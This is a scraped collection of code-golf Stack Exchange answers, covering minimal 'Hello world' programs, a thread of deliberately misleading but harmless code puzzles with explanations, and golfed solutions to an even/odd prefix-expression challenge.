(Based on Vache's comment.) ``` puts 'He'+?l*2+"o world!" ``` # Ruby: 23 characters (Copy of [Danko Durbić](https://codegolf.stackexchange.com/users/1308/danko-durbic)'s Powershell [answer](https://codegolf.stackexchange.com/a/18725/4198).) ``` puts"He#{?l*2}o world!" ``` [Answer] # C - 43 Characters ``` main(){printf("Hel%co World!%c",'k'+1,10);} ``` ## Output ``` Hello World! ``` ## Character Counts ``` ' ' Count: 1 '!' Count: 1 '"' Count: 2 '%' Count: 2 ''' Count: 2 '(' Count: 2 ')' Count: 2 '+' Count: 1 ',' Count: 2 '0' Count: 1 '1' Count: 2 ';' Count: 1 'H' Count: 1 'W' Count: 1 'a' Count: 1 'c' Count: 2 'd' Count: 1 'e' Count: 1 'f' Count: 1 'i' Count: 2 'k' Count: 1 'l' Count: 2 'm' Count: 1 'n' Count: 2 'o' Count: 2 'p' Count: 1 'r' Count: 2 't' Count: 1 '{' Count: 1 '}' Count: 1 ``` [Answer] ## JavaScript, 66 characters ``` alert('Hel'+window.atob("\x62G8gd29ybGQhCg=="));//rH+in.\x689yQhC; ``` Inspired by FireFly, every character used by this code is used exactly twice. [Answer] ## JavaScript [37 bytes] ``` alert(atob("SGVsbG8g")+'wor\x6cd!\n') ``` Too primitive isn't it? [Answer] # nginx.conf ``` return 200 "He&#x6clo wo&#x72ld!\n"; ``` In action: ``` % curl -6 http://localhost/ | lynx -dump -stdin % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 21 100 21 0 0 20958 0 --:--:-- --:--:-- --:--:-- 21000 Hello world! % ``` [Answer] # Emacs Command (15 keystrokes) ``` He<Ctrl-3>l<Left>o wor<End>d!<Enter> ``` If that vim answers is legal then this must be too :) Joking aside, macro it can become too :) More nonsense aside, I can probably squeeze some more, but this seems to be good enough for the time being (since it beats vim). P.S., please ignore all my nonsense (I (rarely, but)use vim too!). [Answer] # Befunge 98 ``` a"!dlrow ol":'e'Hck,@ ``` Here is a version where every character appears twice. ``` bka!e:dw"H@!dlrow ol":'e'Hbk,a,@ ``` Leaves a bunch of junk on the stack. As a bonus, every single character has something done with it by the IP. [Answer] ## Malbolge ``` (=<`#9]~6ZY32Vw/.R,+Op(L,+k#Gh&}Cdz@aw=;zyKw%ut4Uqp0/mlejihtfrHcbaC2^W\>Z,XW)UTSL53\HGFjW ``` [Answer] Actually I don't like cheating :P **Python** ``` print("!dlrow os%eH"[::-1]%('l'*2)) ``` [Answer] ## GolfScript ``` 'He o world!'n/"l"* ``` Substitutes two newlines (fortunately the third one, needed for the substitution, is provided by the built-in `n`), using both types of string literal to avoid quadruplicate copies of a quote mark. Since `l` is the only character which occurs more than twice in the original string, it's not too hard. [Answer] Hmm. In C, given these rules, we can only have one `#define` (because of `i` and `n`) and at most two function calls OR definitions (`(` and `)`). I presume there's pretty much only one way to do it (though I'm probably wrong): ``` main(){puts("Hello w\x6fr\154d!");} ``` [Answer] ### BASH ``` printf 'Hel\x6co world!\n' ``` Cred [@manatwork](https://codegolf.stackexchange.com/users/4198/manatwork) ``` echo $'Hel\x6c\x6f world!' ``` [Answer] # C - 46 Characters `main(){printf("He%clo wor%cd!\x0d",'l',108);}` Prints out: ``` Hello world! ``` [Answer] # PHP 32 Chars Note how I am not using a character more than twice, since l != L ``` He<?=strtolower("LLO WOR");?>ld! ``` Also note that, despite of Stack Overflow deleting it in the representation, there's a line break after the `!`. [Answer] # XQuery, 19 chars ``` "Hello Wor&#x6C;d!" ``` [Answer] ## GolfScript, 21 characters ``` 'He'[108]+"lo world!" ``` `108` is the ASCII code for `l`. First, I push `He` on the stack. Then, `He` gets popped and becomes `Hel`. Then I push `lo world!` on the stack. Now there are two elements on the stack. Because at the end of a GolfScript program, everything of the stack is outputted, this program outputs: > > Hello world! > > > followed by a newline, because Golfscript always outputs a newline. ]
[Question] [ **Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers. Closed 7 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. Write a snippet, a function, a programm, ... that is obfuscated in a way that it looks clear at the first sight that it does something else. For example: write a bit of code that adds two number, but when you ask someone "what does it do?", he will tell you it prints "Hello, World!". **Rules** * The code must be readable for someone who roughly knows the language you use (avoid intrinsic obfuscated language like APL, in your own interest). * The code must do something unexpected that the reader initially couldn't predict. * When you ask different readers, they must have the same (wrong) opinion about what the code does. **Rating** * Please read other contestants' codes during maximum 10-20 seconds, just to have a good idea of what happens there. * Add a comment to the answer saying what you *think* the code does. If the answer you want to give is already there, simply *+1* the comment. (if you miss that answer and add another comment, don't worry, it won't be counted as another answer). * The points will be awared this way: (`maxFalseOpinion` - `goodGuess`) / `totalOpinion` (see example below). * **Rate other contestants with fairplay** and don't comment your own code. * Only add useful comments. Avoid "I don't know" and "good one!", they are not taken into account for the rating, but it's the code and not the ratings that must be obfuscated. **Rating example** The snippet adds two numbers. The comments say: (3) It displays "Hello, World!" (1) It substracts 2 numbers. (2) It adds 2 numbers. The total amount of points is the maximum number of opinions (3) - the number of good guesses (2) divided by the total amount of guesses (3 + 1 + 2 = 6). Result: (3 - 2) / 6 = 1/6 = **16.67%**. --- **MORE ABOUT POINTS** People seem to have some trouble figuring out the points. Here is a perfect score: ``` printf('Hello World'); ``` *comments:* It displays the number of time you have clicked a button. (17 comments). TOTAL: 17 comments Score: (17 - 0)/17 = 1 = 100% Here is a lame score: ``` printf('Hello World'); ``` *comments:* It prints "Hello World". (13 comments). TOTAL: 13 comments Score: (0 - 13) / 13 = -1 = -100% Here is a not so bad score: ``` printf('Hello World'); ``` *comments:* It prints the user name. (2 comments). It displays the current time (15 comments). It returns what you entered without modification. (3 comment). It prints "Hello World" (1 comment). TOTAL: 21 comments Score: (15 - 1) / 21 = 0.6667 = 66.67% Explaining : 15 is the main guess, what people said the most. 1 is the correct number of guesses. 21 is the sum of all comments. [Answer] ## Javascript ``` var а; a = 1; а++; alert( a ); ``` Answer: **It outputs `1`.** The comments below explain it pretty well - there are two different variables here, [a - 'LATIN SMALL LETTER A'](http://www.fileformat.info/info/unicode/char/61/index.htm) and [а - 'CYRILLIC SMALL LETTER A'](http://www.fileformat.info/info/unicode/char/430/index.htm). There was **1** correct answer, **50** people thought it outputs 2, and with a total of **52** answers, the score is (50 - 1) / 52 = 49 / 52 = **94,23%** [Answer] ## C, Score 33.3% ``` #include <stdio.h> int main(int ac, char **av) { const char *arg = av[1]; #define valid_ch(ch) (ch!='&' && ch!='\\') // All valid except & and \ while (*arg) { if (valid_ch(*arg)) putchar(*arg); arg++; } puts(""); return 0; } ``` Run `./prog 'Hello & goodbye, world!'` ## Score The correct answer is `H\n` (the `while` is part of the comment, thanks to the line ending with `\`, so there's no loop), given by 6 people. The most popular mistake was `Hello goodbye, world\n`, given by 25 people. (25 - 6) / 57 = 33.3%. Thanks to Olivier Dulac for bothering to calculate. [Answer] # Python ``` a = [] for i in range(10): a.append(i * ++i) for a[i] in a: print(a[i]) ``` **Rating** 1. **Good answer:** Prints `0 1 4 9 16 25 36 49 64 64`, each number on one line. 2. **Explanation:** Despite nobody getting the right answer, I consider this mostly a failed attempt, because nobody made the mistake I had intended. (I'll add a real explanation later if nobody else does.) 3. Number of good answers: 0 4. Number of peoply with same wrong answer: 7 5. Total number of answers: 11 6. **Score:** 63,64 % (rounded to two decimals) ## Explanation First, a list `a` is created and filled with values `i * ++i`. There is no `++` operator in Python, but there is a unary `+` operator, which does nothing for integers, and applying it two times still does nothing. So `a` contains the squares of the integers from `0` to `9`. I had put the `++` as a distraction and hoped that most voters would go on, thinking they had found the trap, and fall into the real trap. It didn't work out. Some thought that `++` is a syntax error, and the others still looked for the trap. **The trap** The trap was in the second for loop: ``` for a[i] in a: print(a[i]) ``` I was sure that most people would think this prints out all the `a[i]`, i.e. `0 1 4 9 16 25 36 49 64 81`, each number on one line. That's what you get with this variaton, for example: ``` for x in a: print(x) ``` `x` is assigned the values in `a`, and then `x` is printed. In the first version, `a[i]` is assigned the values in `a`, and then `a[i]` is printed. The difference is, that in our case we have `i == 9`, and thus the value of `a[9]` is changed each time through the loop. When finally `a[9]` is printed, it has the value of `a[8]`, and thus `64` is printed again. [Answer] **JavaScript**, Score of **-100%** I did not invent this, [Gary Bernhardt did](https://www.destroyallsoftware.com/talks/wat) but it is one of my favourites ``` alert(Array(16).join("wat?" - 1)+", BATMAN!") ``` [Answer] # Python, -54.8% Answer: Raises `SyntaxError: not a chance` ``` from __future__ import braces if (input() > 0) { print 'You entered a positive number'; } else { print 'You didn\'t enter a positive number'; } ``` * Good guesses: 24 * Same bad guesses: 7 * Total guesses: 31 Explanation: `from __future__ import braces` is one of the easter eggs in Python. It is meant as a joke, saying that Python will never use braces for scoping in the future. [Answer] # Perl, 26.67% **Results:** **This prints "I am ambivalent about saying anything at all."** `my $num1,$num2 = @_;` is missing parentheses. Therefore, it is equivalent to `my $num1; $num2 = @_;`. `$num1` doesn't get set to anything. Thus `$num1` is never greater than zero. The bit about the secret fish world hidden off the screen is, err, a red herring, so that people think they have found the "trick". Furthermore, the ternary operator is an l-value in Perl: `1 ? $a = 1 : $b = 2` actually means `(1 ? $a = 1 : $b) = 2`. Which means `($a = 1) = 2` is evaluated, setting `$a` to `2`. Contrary to appearances, The second string is assigned to `$num1`. In case you are wondering,`//` is the defined-or operator. If the sub returned an undefined value, the string `"Stuff did not happen."` would be printed. But it doesn't actually happen. It was just to give people another option. **Scoring:** Total correct: 5 Total guesses: 30 Score: (13 - 5) / 30 = 26.67% ``` no warnings; no strict; no feature; no 5.16; no Carp; sub do_mysterious_stuff { my $num1,$num2 = @_; if ($num1 > 0) { eval q; $num1="This is a secret fish world. Carp cannot be repressed!" or $num1 = "Hello, world!"; } else { $num2 > 0 ? $num1 = "What's up, world?": $num2 = "I am ambivalent about saying anything at all."; } return $num1; } print do_mysterious_stuff(1,1) //"Stuff did not happen."; ``` [Answer] ## **PHP** 52% ``` $arg = 'T'; $vehicle = ( ( $arg == 'B' ) ? 'bus' : ( $arg == 'A' ) ? 'airplane' : ( $arg == 'T' ) ? 'train' : ( $arg == 'C' ) ? 'car' : ( $arg == 'H' ) ? 'horse' : 'feet' ); echo $vehicle; ``` (Copied verbatim from [here](http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/)) **Explanation & Score** > > The correct answer is **horse**. This isn't a trick or sleight of hand. Bizarrely, this is how the ternary operator is defined in PHP. > > **3** chose the correct answer: **horse**, > > **16** people chose **train** which is correct in literally every other language ever invented, except PHP. > > **25** answers total, giving a score of (16 - 3) / 25 = 52% > > > [Answer] # C++ 28.9% ``` #include <iostream> using namespace std; void print( void ) { static int times = 0; switch( times ) { case 0: cout << "Hello"; break; case 1: cout << "World"; break; default: cout << "Goodbye"; break; } times++; } int main(int cout, char* argv[]) { print(); cout << '\n'; print(); } ``` ## Solution > > The point of this code is to trick the user into thinking that a newline character will be printed between the text "Hello" and "World". Notice that the first parameter to main is named cout. Since, in the scope of main, cout is an integer, the << operator actually performs a left shift operation with a parameter of '\n', rather than printing a newline. > The print function is there mainly to take attention away from the input parameters in main, but also to allow std::cout to be used without adding the namespace prefix. > > > ## Score Courtesy of Alvin Wong * Total 38 answers: * 12 thought `HelloWorld` (considering minitech's and zeel's are the same) * 23 thought `Hello\nworld` 3 thought something else. * Score is (23 - 12) / 38 = **28.9%** [Answer] # Ruby, 100% ``` display = lambda { puts "Hello, world!" } display() ``` Correct answer: > > Prints "main" with no newline. Explanation: In Ruby, you can't call a lambda using the normal parentheses syntax. Instead, display() is interpreted as the built-in method all objects have: o.display prints o.to\_s to standard output. Methods called without an object are interpreted as methods of "main", an Object that includes the Kernel module. > > > Score: 3 of the same wrong answer, no other answers. [Answer] # Python, -28.13% ``` x = 0 while x < 10: if (x%2)==0: x += 2 else: x += 1 print x ``` --- This prints `11` because the `else` block, which belongs to the `while`, is executed after the loop is exited. * Maximum number of false guesses: 8 * Correct guesses: 17 * Total guesses: 8 + 17 + 7 = 32 Score: (8 - 17) / 32 = -28.13% [Answer] ## Python: Rating: -27% ``` name = "Robin" seek = "Seek and find holy grail" favorite_color = "blue" from os import * print "What is your name: %s" % name print "What is your quest: %s" % seek print "What is your favorite color: %s" % favorite_color ``` The program prints: ``` What is your name: <value of os.name> What is your quest: Seek and find holy grail What is your favorite color: blue ``` Rating: Total opinions: 22 12 correct 3 + 1 + 6 wrong [for Bakuiru's answer, I would say it was close but still incorrect as os.name is a string (os.uname is a function)] Rating based on that assumption and my understanding of the rating system: Maximum wrong = 6 Correct = 12 Score = (6-12)/22 = -27% [Answer] Python ``` import sys class TwoPlusTwoIsFive(object): def __bool__(self): if 2 + 2 == 5: return True else: return False two_plus_two_is_five = TwoPlusTwoIsFive() if two_plus_two_is_five: print('{} is company'.format(sys.version[0])) else: print('{} is a crowd'.format(sys.version[0])) ``` --- edit: score (8-1)/9 == 77.7 % correct output is '2 is company' on python 2, '3 is a crowd' on python 3. [Answer] ## JavaScript, -46.7% ``` var getResult = function(n, notReadyYet) { alert("Calculating results..."); if (notReadyYet) { setTimeout(getResult, 100, n); } else { sayResult(n); } return arguments.callee; } var sayResult = function(n) { if (n >= 10) { alert("That's a big number!"); } if (n < 10) { alert("That's a small number."); } return n; } (function() { var input = parseInt(prompt("Please enter a number:")); var result = getResult(input, true); return result; })(); ``` You can run it [here](http://jsfiddle.net/grc4/u97Ng/2/) when you're ready (have a guess first!). If you scroll down far enough in the JS panel, you will see the code with a brief explanation. Correct answer: > > After asking the user to enter a number, it will enter into an infinite loop and display "Calculating results..." alerts until the maximum call stack size is exceeded (although the jsfiddle example will stop after about 20 times). However, if a semicolon is placed after the closing brace of the sayResult function, it will work as mgibsonbr described in the comments. > > > Scoring: * Good answers: 9 * Most popular false opinion: 2 * Total answers: 15 [Answer] ## Javascript ``` var a = []; a.push( "Hello" ); a.concat( [ ", ", "world", "!" ] ); alert( a.join("") ) ``` Answer: **It alerts `Hello`**. The [`concat` method](http://msdn.microsoft.com/en-us/library/ie/2e06zxh0%28v=vs.94%29.aspx) does not modify the array - it *returns* an array which contains the concatenation of the array it's called on and any other supplied arguments. **15** correct, **26** wrong, **41** answers in total and the score is (26-15) / 41 = 11 / 41 = **26,83%** [Answer] ## Python 33.3% ``` def Test(): False = True True = False if False: return False elif True: return True else: return None a = Test() print a ``` Note: Assume this is Python 2.x, and not Python 3. --- When run, this code produced an `UnboundLocalError: local variable 'True' referenced before assignment`. [Answer] **Java** ``` public class Puzzle { public static void main(String[] args) { String out = "Some ungodly gibberish"; //char x = \u000a; out = out + " and then some more. "; System.out.println(out); } } ``` First attempt at codegolf... good answer: Prints `Some ungodly gibberish and then some more.` and a newline Rating: * Maximum number of guesses 6 * Total number of guesses 11 * number of correct guesses 5 (0 if you're in pedanitc mode) Score: 9% (55% in pedantic mode) [Answer] **C# 62.5%** ``` int sum=0; List<Task> threads = new List<Task>(); for (int i=1; i<=10; i++) { Task adder = new Task( ()=> sum += i ); threads.Add( adder ); adder.Start(); } foreach (var t in threads ) { t.Wait(); } Console.WriteLine("Sum of all numbers in 1..10 is: "+sum); ``` This is my first code golf. The correct answer was: "something between 55 and 110". That's because whenever the "sum+=i" statement executes, it'll use the current value of i. This code might even execute *after the for loop is done*, at which point i has value 11. This makes the highest-possible value 110 (and you can make sure to see it if you slow down the lambda in your testing). The smallest possible value is sum(1..10), which is 55. * Good answers: 0 * Only approximately good answers: 5 * Number of times the most popular answer was selected: 5 * Total answers: 8 score: strictly speaking, no one got it right so the score should be (5-0)/8=**62.5%.** If we're willing to count "approximately good" as a correct answer, then the score is (5-5)/8=0% [Answer] # Python, -83.3% Answer: Prints `a < b` if the inputs are equal, `a = b` if the first is larger, and `a > b` if the second is larger. ``` a = input() b = input() print 'a', '<=>'[cmp(a, b)], 'b' ``` * Good guesses: 11 * Same bad guesses: 1 * Total guesses: 12 Explanation: `cmp(a, b)` returns `0` if both arguments are equal, `1` if the first is larger, and `-1` if the first is smaller, which is why the wrong comparison symbol is printed. [Answer] ## PHP, 100% First time posting to code gulf, hopefully this isn't to bad. ``` function word_to_num($word) { switch ($word) { case "one": return 1; case "two": return 2; case "three": return 3; default: return "error"; } } function print_word($num) { switch ($num) { case 1: print "hello"; break; case 2: print "world"; break; case "error": default: print " "; } } $words = array("one", 0, "two"); foreach ($words as $word) { $result = word_to_num($word); print_word($result); } ``` --- correct output is 'hellohelloworld' score is (10 - 0) / 10 = 1 = 100% [Answer] ## Perl: 100% (4-0)/4 ``` print (1 + 2) * 3, "\n"; # ``` This program prints "3" without a new line. Perl parses this instruction as ``` ((print (1+2)) * 3, "\n") ``` so only the `(1+2)` is passed as an argument to `print`. [Answer] **C#** ``` static void Main(string[] args) { Console.WriteLine('H' + 'e' + 'l' + 'l' + 'o'); Console.ReadLine(); } ``` [Answer] CPython ``` if 'Hello' + 'World' is 'HelloWorld': print 'Hello' if 'Hello' + 'World!' is 'HelloWorld!': print 'World!' ``` --- correct output is 'Hello' score (14-3)/19 == 57.9 % [Answer] # C (Score: 4.45%) Good guesses: 7 Maximum of wrong guesses: 6+2 = 8 Total guesses: 6+7+3+2+4=22 **Solution:** `??/` is a trigraph for `\`, so the newline is escaped and the `scanf` line is commented out. Therefore the program runs forever, printing `Guess a number between 1 and 10:`. The comments are a quote from Mozart (via `fortune`). ``` // Why not?/ #include <stdio.h> #include <stdlib.h> #include <time.h> // What?/ int main(int argc, char** argv) { // Why not?/ int number; // Why should I not send it?/ srand(time(NULL)); while(1) { // Why should I not dispatch it?/ printf("Guess a number between 1 and 10: "); // Why not??/ scanf("%d", &number); // Strange! I don't know why I shouldn't/ if(number == rand() % 10 + 1) { // Well, then/ printf("You guessed right!\n"); // You will do me this favor./ exit(0); } } } ``` Spoiler, how to compile and run: > > gcc test.c -trigraphs > > > [Answer] # Java ``` public class Test { public static void main(String[] args) { String fmt = "%s - %04d\n"; System.out.println(fmt.format("Padded value: ", 0x0c)); } } ``` ## The Answer It prints `Padded value:` (with a newline). String's `format` method is `static`, with the format being passed as the first parameter. I.e. the call above is equivalent to: ``` System.out.println(String.format("Padded value: ", 0x0c)); ``` Number of good answers: 2 Wrong answers: 9 **Score**: (9-2) / 11 = 63% [Answer] **C** ``` #include <stdio.h> #define SIX 1+5 #define NINE 8+1 int main() { printf("%d\n", SIX * NINE); } ``` Score = (3-16)/19 == -68.4% Don't forget your towel. [Answer] # C++ ``` #include <cstdio> int main() { int f; f or (f = 0, f < 1000, ++f, printf("H ello world !\n")); return 0; } ``` ### Score = (1 - 6) / 7 = -0.71428571428571 = -71.428571428571% [Answer] **JavaScript** ``` var x = 0; var y = !x * 4; var z = !y; alert("Z = "+z); ``` [Answer] Python ``` def greeting(): try: return 'Hello World' finally: return 'HELL0 W0RLD' print greeting().lower() ``` correct output is 'hell0 w0rld' score (8-14)/22 == -27.3 % [Answer] ## R: 100% Not that imaginative but might puzzle some people: ``` sum(data.frame(rep(1,10),stringAsFactors=TRUE)) ``` What do you think is the result? **Edit**: The answer was 20. Because of a missing `s` in `stringAsFactors` (instead of `stringsAsFactors`), the argument is not recognized so the function create a new column called `stringAsFactors`. Because of vector recycling, the column contains 10 times `TRUE` which are converted to `1`s in the sum, hence a total of 20 and not 10. This answer was not given in the comments. 3 answers were given (all saying `10` more or less). Hence a score of an 100%, I guess. [Answer] ## Tcl Inspired by [ugoren](https://codegolf.stackexchange.com/a/11446/7789) ``` foreach c [split [lindex $argv 0] {}] { # Don't print the invalid chars & and \ if {$c in "& \\"} {continue} puts -nonewline $c } ``` Sorry, forgot an example string. Ok, run as > > ./charfilter.tcl 'Hello & goodbye, world!' > > > **Edit** Right solution: It does not filter at all. (**6x**) Max wrong answer: **4x** Total answers: **10** Score: **-0.2** ]
[Question] [ # Preamble [Integers](https://en.wikipedia.org/wiki/Integer) are always either [even or odd](https://en.wikipedia.org/wiki/Parity_(mathematics)). Even integers are divisible by two, odd integers are not. When you add two integers you can infer whether the result will be even or odd based on whether the summands were even or odd: * Even + Even = Even * Even + Odd = Odd * Odd + Even = Odd * Odd + Odd = Even Likewise, when you multiply two integers you can infer whether the result will be even or odd based on whether the factors were even or odd: * Even \* Even = Even * Even \* Odd = Even * Odd \* Even = Even * Odd \* Odd = Odd Thus, if you know the evenness or oddness of all the variables in a math expression that only involves addition and multiplication, you can infer whether the result will be even or odd. For example, we can confidently say that `(68 + 99) * 37` results in an odd because an even plus an odd (`68 + 99`) is an odd, and that odd times another odd (`odd * 37`) gives an odd. # Challenge Write a program or function that takes in a string only containing the four characters `eo+*`. This string represents a mathematical expression given in [prefix notation](https://en.wikipedia.org/wiki/Polish_notation) involving only addition (`+`) and multiplication (`*`). Each `e` represents some arbitrary even number, and each `o` represents some arbitrary odd number. Your task is to simplify the expression, printing or returning a single `e` or `o` based on whether the result of the expression is even or odd. You can assume that the input will always be in valid prefix notation. Specifically, each `+` and `*` will always have two corresponding operands occurring after it. These operands may be a single `e` or `o`, or another `+` or `*` expression that in turn has operands. For example, the input `*+eoo` could be read as `mul(add(e, o), o)`, or `(e + o) * o` in normal [infix notation](https://en.wikipedia.org/wiki/Infix_notation). The `e` and the first `o` are the operands corresponding to the `+`, and `+eo` and the last `o` are the operands corresponding to the `*`. Just to make it clear, here are some invalid inputs that have incorrect prefix notation: ``` eo ooe o+e ee* +*oe +e*o ``` A single trailing newline in the output is fine, but otherwise a plain `e` for even or `o` for odd is all that should be output. **The shortest code in bytes wins.** # Test Cases (Empty lines are only to help visually separate similar cases.) ``` e -> e o -> o +ee -> e +eo -> o +oe -> o +oo -> e *ee -> e *eo -> e *oe -> e *oo -> o +e+ee -> e +e+eo -> o +e+oe -> o +e+oo -> e +e*ee -> e +e*eo -> e +e*oe -> e +e*oo -> o +o+ee -> o +o+eo -> e +o+oe -> e +o+oo -> o +o*ee -> o +o*eo -> o +o*oe -> o +o*oo -> e *e+ee -> e *e+eo -> e *e+oe -> e *e+oo -> e *e*ee -> e *e*eo -> e *e*oe -> e *e*oo -> e *o+ee -> e *o+eo -> o *o+oe -> o *o+oo -> e *o*ee -> e *o*eo -> e *o*oe -> e *o*oo -> o ++eee -> e ++eeo -> o ++eoe -> o ++eoo -> e ++oee -> o ++oeo -> e ++ooe -> e ++ooo -> o +*eee -> e +*eeo -> o +*eoe -> e +*eoo -> o +*oee -> e +*oeo -> o +*ooe -> o +*ooo -> e *+eee -> e *+eeo -> e *+eoe -> e *+eoo -> o *+oee -> e *+oeo -> o *+ooe -> e *+ooo -> e **eee -> e **eeo -> e **eoe -> e **eoo -> e **oee -> e **oeo -> e **ooe -> e **ooo -> o +e+e+e+ee -> e +o+o+o+oo -> o *e*e*e*ee -> e *o*o*o*oo -> o +e+o+e+oe -> e +o+e+o+eo -> o *e*o*e*oe -> e *o*e*o*eo -> e +e*e+e*ee -> e +o*o+o*oo -> o *e+e*e+ee -> e *o+o*o+oo -> o +**++*+*eeoeeooee -> e +**++*+***eooeoeooeoe -> e +**+***+**++**+eooeoeeoeeoeooeo -> o +e*o*e**eoe -> e +*e+e+o+e**eeoe -> e **o++*ee*++eoe*eo+eoo -> o ``` [Answer] ## CJam, ~~18~~ ~~17~~ 13 bytes *Thanks to aditsu for saving 4 bytes.* ``` qW:O%eu~"eo"= ``` [Try the test suite here.](http://cjam.aditsu.net/#code=qN%2F%7B%22%20-%3E%20%22%2F_1%3D%3AR%3B0%3D%3AQ%7B%0A%0AQW%3AO%25eu~%22eo%22%3D%0A%0A%5D%3AQoSoQsR%3Dp%7D%26%7D%2F) (The test suite is too long for the permalink. Just copy them from the challenge spec.) ### Explanation ``` q e# Read the input. W:O e# Push a -1 and store it in variable O. % e# Use the -1 to reverse the string, because CJam's stack-based nature and the e# commutativity of the operators means we can evaluate the code in postfix notation. eu e# Convert the string to upper case, turning 'e' into 'E' (a variable with even value e# 14) and 'o' into 'O' (which we've stored the odd value -1 in). ~ e# Evaluate the string as CJam code, leaving the result on the stack. "eo"= e# Use the result as an index into the string "eo". CJam's indexing is cyclic so it e# automatically takes inputs modulo 2. Negative indices also work as expected. ``` [Answer] # Pyth, ~~16~~ 14 bytes ``` @"eo".vjdXzGU9 ``` Pyth can itself evaluate a string, that is in Pyth syntax. Therefore I replace `e` and `o` with `4` and `5`. Then the evaluation will give me an even or odd number, and I can easily print the result. Try it online: [Demonstration](http://pyth.herokuapp.com/?code=%40%22eo%22.vjdXzGU9&test_suite=0&input=%2B%2A%2A%2B%2A%2A%2A%2B%2A%2A%2B%2B%2A%2A%2Beooeoeeoeeoeooeo&test_suite_input=%2B%2A%2A%2B%2B%2A%2B%2Aeeoeeooee%0A%2B%2A%2A%2B%2B%2A%2B%2A%2A%2Aeooeoeooeoe%0A%2B%2A%2A%2B%2A%2A%2A%2B%2A%2A%2B%2B%2A%2A%2Beooeoeeoeeoeooeo%0A%2Be%2Ao%2Ae%2A%2Aeoe%0A%2B%2Ae%2Be%2Bo%2Be%2A%2Aeeoe%0A%2A%2Ao%2B%2B%2Aee%2A%2B%2Beoe%2Aeo%2Beoo) or [Test Suite](http://pyth.herokuapp.com/?code=%40%22eo%22.vjdXzGU9&test_suite=1&input=%2B%2A%2A%2B%2A%2A%2A%2B%2A%2A%2B%2B%2A%2A%2Beooeoeeoeeoeooeo&test_suite_input=%2B%2A%2A%2B%2B%2A%2B%2Aeeoeeooee%0A%2B%2A%2A%2B%2B%2A%2B%2A%2A%2Aeooeoeooeoe%0A%2B%2A%2A%2B%2A%2A%2A%2B%2A%2A%2B%2B%2A%2A%2Beooeoeeoeeoeooeo%0A%2Be%2Ao%2Ae%2A%2Aeoe%0A%2B%2Ae%2Be%2Bo%2Be%2A%2Aeeoe%0A%2A%2Ao%2B%2B%2Aee%2A%2B%2Beoe%2Aeo%2Beoo) ### Explanation: ``` @"eo".vjdXzGU9 implicit: z = input string XzGU9 replace "e" in z with 4 and "o" with 5 jd put a space between each char .v evaluate it (Pyth style) @"eo" and print "e" or "o" ``` Additional explanation to the replace. `G` is a variable initialized with the alphabet `abc...xyz`. `U9` is the list `[0, 1, ..., 8]`. `XzGU9` replaces the letters of the alphabet with the values of the list. So `a` gets replaced with `0`, `b` with `1`, ..., `e` with `4`, ..., `i` with `8`, `j` with `0`, ..., and `o` with `5`. Therefore I `e` gets replaced with an even number and `o` with an odd number. All the other replacements have no effect at all. [Answer] # Perl, ~~50~~ ~~45~~ 40 characters (39 characters code + 1 character command line option.) ``` 1while s/\+oe|\+eo|\*oo/o/||s/\W\w\w/e/ ``` Sample run: ``` bash-4.3$ echo -n '**o++*ee*++eoe*eo+eoo' | perl -pe '1while s/\+oe|\+eo|\*oo/o/||s/\W\w\w/e/' o ``` [Answer] # Python 2, 90 ``` def f(s):i=iter(s);a=next(i);return(a>'a')*a or'oe'[f(i)==f(i)if'*'<a else'e'in f(i)+f(i)] ``` The `iter` function is a good way to make the input string into a FIFO queue which remembers how much of the string has been parsed across calls of `f`. It is idempotent, so it is harmless to call it again when the input is already an iterator rather than a string. The trailing half of the answer beginning with `or'oe'`... seems like it should be golfable, but I couldn't find anything. -1 thanks to Sp3000. [Answer] # [Retina](https://github.com/mbuettner/retina), 29 bytes ``` (+`\*oo|\+(eo|oe) o \W\w\w e ``` For the convenient one file version the `-s` flag is used. We swap odd expressions (`*oo`, `+oe`, `+eo`) to `o` until we can, then swap the remaining symbol-letter-letter expressions to `e`. We repeat this until we can and the final one letter is our output. (This solution is similar to [manatwork's Perl answer](https://codegolf.stackexchange.com/a/65529/7311).) [Try it online!](http://retina.tryitonline.net/#code=KCtgXCpvb3xcKyhlb3xvZSkKbwpcV1x3XHcKZQ&input=K2Uqb28) (by Dennis) [Answer] ## Python 2, 80 bytes ``` def f(s,e=0,o=1):i=iter(s);a=next(i);return(a>'a')*a or'eo'[eval(f(i)+a+f(i))%2] ``` This is built on feersum's [very clever answer](https://codegolf.stackexchange.com/a/65532/20260) that uses an `iter` to implement Polish-notation operations. The new idea is to use `eval` to evaluate the expressions `+` and `*` with `eval(f(i)+a+f(i))`, where the operator `a` is placed infix between the recursive results. The eval uses the bindings `e=0,o=1` in the optional function arguments. The output is then taken mod 2. [Answer] ## Mathematica, ~~91~~ 84 bytes ``` #//.s_:>s~StringReplace~{"+ee"|"+oo"|"*ee"|"*eo"|"*oe"->"e","+eo"|"+oe"|"*oo"->"o"}& ``` Looking for a way to compress this... [Answer] ## C, 79 bytes Straightforward recursion. Relies on some (coincidental?) bitwise properties of the four allowed input characters. ``` f(){int c=getchar();return c&4?c:c&1?f()^f()^'e':f()&f();}main(){putchar(f());} ``` [Answer] # Shell + GNU utilities, 33 ``` dc -eFo`rev|tr oe OK`2%p|tr 10 oe ``` Input is taken from STDIN. This does the same trick of reversing the input and evaluating with a stack-based calculator - in this case `dc`. We could replace `e` and `o` with `0` and `1`, but then spaces would need to be inserted to prevent greedy parsing of the digits into the incorrect numbers. Instead `e` is replaced with `K` which is the `dc` command to push the current precision to the stack, which by default is 0. And `o` is replaced with `O` which is the `dc` command to push the current output base to the stack. This needs to be odd, so we set it to 15 with `Fo` before doing anything else in dc. Then it is simply a matter of taking mod 2 and printing `2%p`. The only possible values are now `0` and `1`, so it doesn't matter that the output base is 15. Then `tr` translates back to `o` or `e`. --- I like that if you squint your eyes, this source almost looks like `dc Forever OK`. [Answer] ## [Seriously](https://github.com/Mego/Seriously), 24 bytes ``` ,R'2'e(Æ'1'o(Æ£ƒ'e'o2(%I ``` More efficient stack manipulation could probably make this shorter, but meh, I'm happy with it. Takes input as a string, like `"+*oee"` [Try it online](http://seriouslylang.herokuapp.com/link/code=2c522732276528922731276f28929c9f2765276f32282549&input=) (input must be manually entered) Explanation: ``` ,R get input and reverse it '2'e(Æ replace all "e"s with "2"s 